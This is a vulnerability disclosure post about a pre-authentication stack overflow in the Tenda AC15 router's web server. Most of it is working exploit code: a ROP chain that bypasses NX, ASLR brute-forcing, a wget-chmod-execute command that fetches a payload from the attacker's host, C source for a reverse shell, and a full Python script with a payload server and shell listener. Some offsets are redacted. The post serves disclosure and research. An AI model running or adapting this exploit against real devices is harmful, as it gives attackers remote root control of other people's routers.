In this post we will be presenting a pre-authenticated remote code execution vulnerability present in Tenda’s AC15 router. We start by analysing the vulnerability, before moving on to our regular pattern of exploit development – identifying problems and then fixing those in turn to develop a working exploit.
N.B – Numerous attempts were made to contact the vendor with no success. Due to the nature of the vulnerability, offset’s have been redacted from the post to prevent point and click exploitation.
The vulnerability in question is caused by a buffer overflow due to unsanitised user input being passed directly to a call to sscanf. The figure below shows the vulnerable code in the R7WebsSecurityHandler function of the HTTPD binary for the device.
Note that the “password=” parameter is part of the Cookie header. We see that the code uses strstr to find this field, and then copies everything after the equals size (excluding a ‘;’ character – important for later) into a fixed size stack buffer.
If we send a large enough password value we can crash the server, in the following picture we have attached to the process using a cross compiled Gdbserver binary, we can access the device using telnet (a story for another post).
This crash isn’t exactly ideal. We can see that it’s due to an invalid read attempting to load a byte from R3 which points to 0x41414141. From our analysis this was identified as occurring in a shared library and instead of looking for ways to exploit it, we turned our focus back on the vulnerable function to try and determine what was happening after the overflow.
In the next figure we see the issue; if the string copied into the buffer contains “.gif”, then the function returns immediately without further processing. The code isn’t looking for “.gif” in the password, but in the user controlled buffer for the whole request. Avoiding further processing of a overflown buffer and returning immediately is exactly what we want (loc_2f7ac simply jumps to the function epilogue).
Appending “.gif” to the end of a long password string of “A”‘s gives us a segfault with PC=0x41414141. With the ability to reliably control the flow of execution we can now outline the problems we must address, and therefore begin to solve them – and so at the same time, develop a working exploit.
To begin with, the following information is available about the binary:
file httpd format elf type EXEC (Executable file) arch arm bintype elf bits 32 canary false endian little intrp /lib/ld-uClibc.so.0 machine ARM nx true pic false relocs false relro no static false
I’ve only included the most important details – mainly, the binary is a 32bit ARMEL executable, dynamically linked with NX being the only exploit mitigation enabled (note that the system has randomize_va_space = 1, which we’ll have to deal with). Therefore, we have the following problems to address:
The first problem to solve is a general one when it comes to exploiting memory corruption vulnerabilities such as this – identifying the offset within the buffer at which we can control certain registers. We solve this problem using Metasploit’s pattern create and pattern offset scripts. We identify the correct offset and show reliable control of the PC register:
With problem 1 solved, our next task involves bypassing No Execute. No Execute (NX or DEP) simply prevents us from executing shellcode on the stack. It ensures that there are no writeable and executable pages of memory. NX has been around for a while so we won’t go into great detail about how it works or its bypasses, all we need is some ROP magic.
We make use of the “Return to Zero Protection” (ret2zp) method [1]. The problem with building a ROP chain for the ARM architecture is down to the fact that function arguments are passed through the R0-R3 registers, as opposed to the stack for Intel x86. To bypass NX on an x86 processor we would simply carry out a ret2libc attack, whereby we store the address of libc’s system function at the correct offset, and then a null terminated string at offset+4 for the command we wish to run:
To perform a similar attack on our current target, we need to pass the address of our command through R0, and then need some way of jumping to the system function. The sort of gadget we need for this is a mov instruction whereby the stack pointer is moved into R0. This gives us the following layout:
We identify such a gadget in the libc shared library, however, the gadget performs the following instructions.
mov sp, r0 blx r3
This means that before jumping to this gadget, we must have the address of system in R3. To solve this problem, we simply locate a gadget that allows us to mov or pop values from the stack into R3, and we identify such a gadget again in the libc library:
pop {r3,r4,r7,pc}
This gadget has the added benefit of jumping to SP+12, our buffer should therefore look as such:
Note the ‘;.gif’ string at the end of the buffer, recall that the call to sscanf stops at a ‘;’ character, whilst the ‘.gif’ string will allow us to cleanly exit the function. With the following Python code, we have essentially bypassed NX with two gadgets:
libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack("<I", curr_libc + ****) #: pop {r3, r4, r7, pc} pop = struct.pack("<I", curr_libc + ****) #: mov r0, sp ; blx r3 mv_r0_sp = struct.pack("<I", curr_libc + ****) password = "A"*offset password += pop + system + "B"*8 + mv_r0_sp + command + ".gif"
With problem 2 solved, we now move onto our third problem; bypassing ASLR. Address space layout randomisation can be very difficult to bypass when we are attacking network based applications, this is generally due to the fact that we need some form of information leak. Although it is not enabled on the binary itself, the shared library addresses all load at different addresses on each execution. One method to generate an information leak would be to use “native” gadgets present in the HTTPD binary (which does not have ASLR) and ROP into the leak. The problem here however is that each gadget contains a null byte, and so we can only use 1. If we look at how random the randomisation really is, we see that actually the library addresses (specifically libc which contains our gadgets) only differ by one byte on each execution. For example, on one run libc’s base may be located at 0xXXXXXXXX, and on the next run it is at 0xXXXXXXXX
. We could theoretically guess this value, and we would have a small chance of guessing correct.
This is where our faithful watchdog process comes in. One process running on this device is responsible for restarting services that have crashed, so every time the HTTPD process segfaults, it is immediately restarted, pretty handy for us. This is enough for us to do some naïve brute forcing, using the following process:
With NX and ASLR successfully bypassed, we now need to put this all together (problem 3). This however, provides us with another set of problems to solve:
We start by solving problem 2, which in turn will help us solve problem 1. There are a few steps involved with running arbitrary code on the device. Firstly, we can make use of tools on the device to download arbitrary scripts or binaries, for example, the following command string will download a file from a remote server over HTTP, change its permissions to executable and then run it:
command = "wget https://192.168.0.104/malware -O /tmp/malware && chmod 777 /tmp/malware && /tmp/malware &;"
The “malware” binary should give some indication that the device has been exploited remotely, to achieve this, we write a simple TCP connect back program. This program will create a connection back to our attacking system, and duplicate the stdin and stdout file descriptors – it’s just a simple reverse shell.
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
socklen_t addrlen;
int sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&addr, 0x00, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(31337);
addr.sin_addr.s_addr = inet_addr(“192.168.0.104”);
int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
system(“/bin/sh”);
}
We need to cross compile this code into an ARM binary, to do this, we use a prebuilt toolchain downloaded from Uclibc. We also want to automate the entire process of this exploit, as such, we use the following code to handle compiling the malicious code (with a dynamically configurable IP address). We then use a subprocess to compile the code (with the user defined port and IP), and serve it over HTTP using Python’s SimpleHTTPServer module.
”’
* Take the ARM_REV_SHELL code and modify it with
* the given ip and port to connect back to.
* This function then compiles the code into an
* ARM binary.
@Param comp_path – This should be the path of the cross-compiler.
@Param my_ip – The IP address of the system running this code.
”’
def compile_shell(comp_path, my_ip):
global ARM_REV_SHELL
outfile = open(“a.c”, “w”)
ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)
#write the code with ip and port to a.c
outfile.write(ARM_REV_SHELL)
outfile.close()
compile_cmd = [comp_path, “a.c”,”-o”, “a”]
s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
#wait for the process to terminate so we can get its return code
while s.poll() == None:
continue
if s.returncode == 0:
return True
else:
print “[x] Error compiling code, check compiler? Read the README?”
return False
”’
* This function uses the SimpleHTTPServer module to create
* a http server that will serve our malicious binary.
* This function is called as a thread, as a daemon process.
”’
def start_http_server():
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler)
print “[+] Http server started on port %d” %HTTPD_PORT
httpd.serve_forever()
This code will allow us to utilise the wget tool present on the device to fetch our binary and run it, this in turn will allow us to solve problem 1. We can identify if the exploit has been successful by waiting for connections back. The abstract diagram in the next figure shows how we can make use of a few threads with a global flag to solve problem 1 given the solution to problem 2.
The functions shown in the following code take care of these processes:
”’
* This function creates a listening socket on port
* REV_PORT. When a connection is accepted it updates
* the global DONE flag to indicate successful exploitation.
* It then jumps into a loop whereby the user can send remote
* commands to the device, interacting with a spawned /bin/sh
* process.
”’
def threaded_listener():
global DONE
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
host = (“0.0.0.0”, REV_PORT)
try:
s.bind(host)
except:
print “[+] Error binding to %d” %REV_PORT
return -1
print “[+] Connect back listener running on port %d” %REV_PORT
s.listen(1)
conn, host = s.accept()
#We got a connection, lets make the exploit thread aware
DONE = True
print “[+] Got connect back from %s” %host[0]
print “[+] Entering command loop, enter exit to quit”
#Loop continuosly, simple reverse shell interface.
while True:
print “#”,
cmd = raw_input()
if cmd == “exit”:
break
if cmd == ”:
continue
conn.send(cmd + “\\n”)
print conn.recv(4096)
”’
* This function presents the actual vulnerability exploited.
* The Cookie header has a password field that is vulnerable to
* a sscanf buffer overflow, we make use of 2 ROP gadgets to
* bypass DEP/NX, and can brute force ASLR due to a watchdog
* process restarting any processes that crash.
* This function will continually make malicious requests to the
* devices web interface until the DONE flag is set to True.
@Param host – the ip address of the target.
@Param port – the port the webserver is running on.
@Param my_ip – The ip address of the attacking system.
”’
def exploit(host, port, my_ip):
global DONE
url = “http://%s:%s/goform/exeCommand”%(host, port)
i = 0
command = “wget http://%s:%s/a -O /tmp/a && chmod 777
/tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT)
#Guess the same libc base address each time
libc_base = ****
curr_libc = libc_base + (0x7c << 12)
system = struct.pack(“<I”, curr_libc + ****)
#: pop {r3, r4, r7, pc}
pop = struct.pack(“<I”, curr_libc + ****)
#: mov r0, sp ; blx r3
mv_r0_sp = struct.pack(“<I”, curr_libc + ****)
password = “A”*offset
password += pop + system + “B”*8 + mv_r0_sp + command + “.gif”
print “[+] Beginning brute force.”
while not DONE:
i += 1
print “[+] Attempt %d”%i
#build the request, with the malicious password field
req = urllib2.Request(url)
req.add_header(“Cookie”, “password=%s”%password)
#The request will throw an exception when we crash the server,
#we don’t care about this, so don’t handle it.
try:
resp = urllib2.urlopen(req)
except:
pass
#Give the device some time to restart the process.
time.sleep(1)
print “[+] Exploit done”
Finally, we put all of this together by spawning the individual threads, as well as getting command line options as usual:
def main():
parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”host_ip”,
help=”IP address of the target”)
parser.add_option(“-p”, “–port”, dest=”host_port”,
help=”Port of the targets webserver”)
parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”,
help=”path to arm cross compiler”)
parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your ip address”)
options, args = parser.parse_args()
host_ip = options.host_ip
host_port = options.host_port
comp_path = options.compiler_path
my_ip = options.my_ip
if host_ip == None or host_port == None:
parser.error(“[x] A target ip address (-t) and port (-p) are required”)
if comp_path == None:
parser.error(“[x] No compiler path specified,
you need a uclibc arm cross compiler,
such as https://www.uclibc.org/downloads/
binaries/0.9.30/cross-compiler-arm4l.tar.bz2″)
if my_ip == None:
parser.error(“[x] Please pass your ip address (-m)”)
if not compile_shell(comp_path, my_ip):
print “[x] Exiting due to error in compiling shell”
return -1
httpd_thread = threading.Thread(target=start_http_server)
httpd_thread.daemon = True
httpd_thread.start()
conn_listener = threading.Thread(target=threaded_listener)
conn_listener.start()
#Give the thread a little time to start up, and fail if that happens
time.sleep(3)
if not conn_listener.is_alive():
print “[x] Exiting due to conn_listener error”
return -1
exploit(host_ip, host_port, my_ip)
conn_listener.join()
return 0
if __name__ == ‘__main__’:
main()
With all of this together, we run the code and after a few minutes get our reverse shell as root:
The full code is here:
#!/usr/bin/env python
import urllib2
import struct
import time
import socket
from optparse import *
import SimpleHTTPServer
import SocketServer
import threading
import sys
import os
import subprocess
ARM_REV_SHELL = (
“#include <sys/socket.h>\\n”
“#include <sys/types.h>\\n”
“#include <string.h>\\n”
“#include <stdio.h>\\n”
“#include <netinet/in.h>\\n”
“int main(int argc, char **argv)\\n”
“{\\n”
” struct sockaddr_in addr;\\n”
” socklen_t addrlen;\\n”
” int sock = socket(AF_INET, SOCK_STREAM, 0);\\n”
” memset(&addr, 0x00, sizeof(addr));\\n”
” addr.sin_family = AF_INET;\\n”
” addr.sin_port = htons(%d);\\n”
” addr.sin_addr.s_addr = inet_addr(\\”%s\\”);\\n”
” int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\\n”
” dup2(sock, 0);\\n”
” dup2(sock, 1);\\n”
” dup2(sock, 2);\\n”
” system(\\”/bin/sh\\”);\\n”
“}\\n”
)
REV_PORT = 31337
HTTPD_PORT = 8888
DONE = False
”’
* This function creates a listening socket on port
* REV_PORT. When a connection is accepted it updates
* the global DONE flag to indicate successful exploitation.
* It then jumps into a loop whereby the user can send remote
* commands to the device, interacting with a spawned /bin/sh
* process.
”’
def threaded_listener():
global DONE
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
host = (“0.0.0.0”, REV_PORT)
try:
s.bind(host)
except:
print “[+] Error binding to %d” %REV_PORT
return -1
print “[+] Connect back listener running on port %d” %REV_PORT
s.listen(1)
conn, host = s.accept()
#We got a connection, lets make the exploit thread aware
DONE = True
print “[+] Got connect back from %s” %host[0]
print “[+] Entering command loop, enter exit to quit”
#Loop continuosly, simple reverse shell interface.
while True:
print “#”,
cmd = raw_input()
if cmd == “exit”:
break
if cmd == ”:
continue
conn.send(cmd + “\\n”)
print conn.recv(4096)
”’
* Take the ARM_REV_SHELL code and modify it with
* the given ip and port to connect back to.
* This function then compiles the code into an
* ARM binary.
@Param comp_path – This should be the path of the cross-compiler.
@Param my_ip – The IP address of the system running this code.
”’
def compile_shell(comp_path, my_ip):
global ARM_REV_SHELL
outfile = open(“a.c”, “w”)
ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)
outfile.write(ARM_REV_SHELL)
outfile.close()
compile_cmd = [comp_path, “a.c”,”-o”, “a”]
s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
while s.poll() == None:
continue
if s.returncode == 0:
return True
else:
print “[x] Error compiling code, check compiler? Read the README?”
return False
”’
* This function uses the SimpleHTTPServer module to create
* a http server that will serve our malicious binary.
* This function is called as a thread, as a daemon process.
”’
def start_http_server():
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler)
print “[+] Http server started on port %d” %HTTPD_PORT
httpd.serve_forever()
”’
* This function presents the actual vulnerability exploited.
* The Cookie header has a password field that is vulnerable to
* a sscanf buffer overflow, we make use of 2 ROP gadgets to
* bypass DEP/NX, and can brute force ASLR due to a watchdog
* process restarting any processes that crash.
* This function will continually make malicious requests to the
* devices web interface until the DONE flag is set to True.
@Param host – the ip address of the target.
@Param port – the port the webserver is running on.
@Param my_ip – The ip address of the attacking system.
”’
def exploit(host, port, my_ip):
global DONE
url = “http://%s:%s/goform/exeCommand”%(host, port)
i = 0
command = “wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT)
#Guess the same libc base continuosly
libc_base = ****
curr_libc = libc_base + (0x7c << 12)
system = struct.pack(“<I”, curr_libc + ****)
#: pop {r3, r4, r7, pc}
pop = struct.pack(“<I”, curr_libc + ****)
#: mov r0, sp ; blx r3
mv_r0_sp = struct.pack(“<I”, curr_libc + ****)
password = “A”*offset
password += pop + system + “B”*8 + mv_r0_sp + command + “.gif”
print “[+] Beginning brute force.”
while not DONE:
i += 1
print “[+] Attempt %d” %i
#build the request, with the malicious password field
req = urllib2.Request(url)
req.add_header(“Cookie”, “password=%s”%password)
#The request will throw an exception when we crash the server,
#we don’t care about this, so don’t handle it.
try:
resp = urllib2.urlopen(req)
except:
pass
#Give the device some time to restart the
time.sleep(1)
print “[+] Exploit done”
def main():
parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”host_ip”, help=”IP address of the target”)
parser.add_option(“-p”, “–port”, dest=”host_port”, help=”Port of the targets webserver”)
parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”, help=”path to arm cross compiler”)
parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your ip address”)
options, args = parser.parse_args()
host_ip = options.host_ip
host_port = options.host_port
comp_path = options.compiler_path
my_ip = options.my_ip
if host_ip == None or host_port == None:
parser.error(“[x] A target ip address (-t) and port (-p) are required”)
if comp_path == None:
parser.error(“[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2”)
if my_ip == None:
parser.error(“[x] Please pass your ip address (-m)”)
if not compile_shell(comp_path, my_ip):
print “[x] Exiting due to error in compiling shell”
return -1
httpd_thread = threading.Thread(target=start_http_server)
httpd_thread.daemon = True
httpd_thread.start()
conn_listener = threading.Thread(target=threaded_listener)
conn_listener.start()
#Give the thread a little time to start up, and fail if that happens
time.sleep(3)
if not conn_listener.is_alive():
print “[x] Exiting due to conn_listener error”
return -1
exploit(host_ip, host_port, my_ip)
conn_listener.join()
return 0
if __name__ == ‘__main__’:
main()
Credit
Tim Carrington – @__invictus_ – as part of Fidus’ Penetration Testing & Research team.
References
Timeline
Vulnerability discovered and first reported – 14/1/2018
Second attempt to make contact, further informing the vendor of the severity of the vulnerability – 18/1/2018
CVE’s assigned by Mitre.org – 19/1/2018
Livechat attempt to contact vendor – 19/1/2018
Another attempt to contact vendor 23/1/2018
Further attempt to contact vendor, confirming 5 CVE’s had been assigned to their product – 31/1/2018
Final contact attempted & warning of public disclosure – 8/2/2018
Public disclosure – 14/2/2018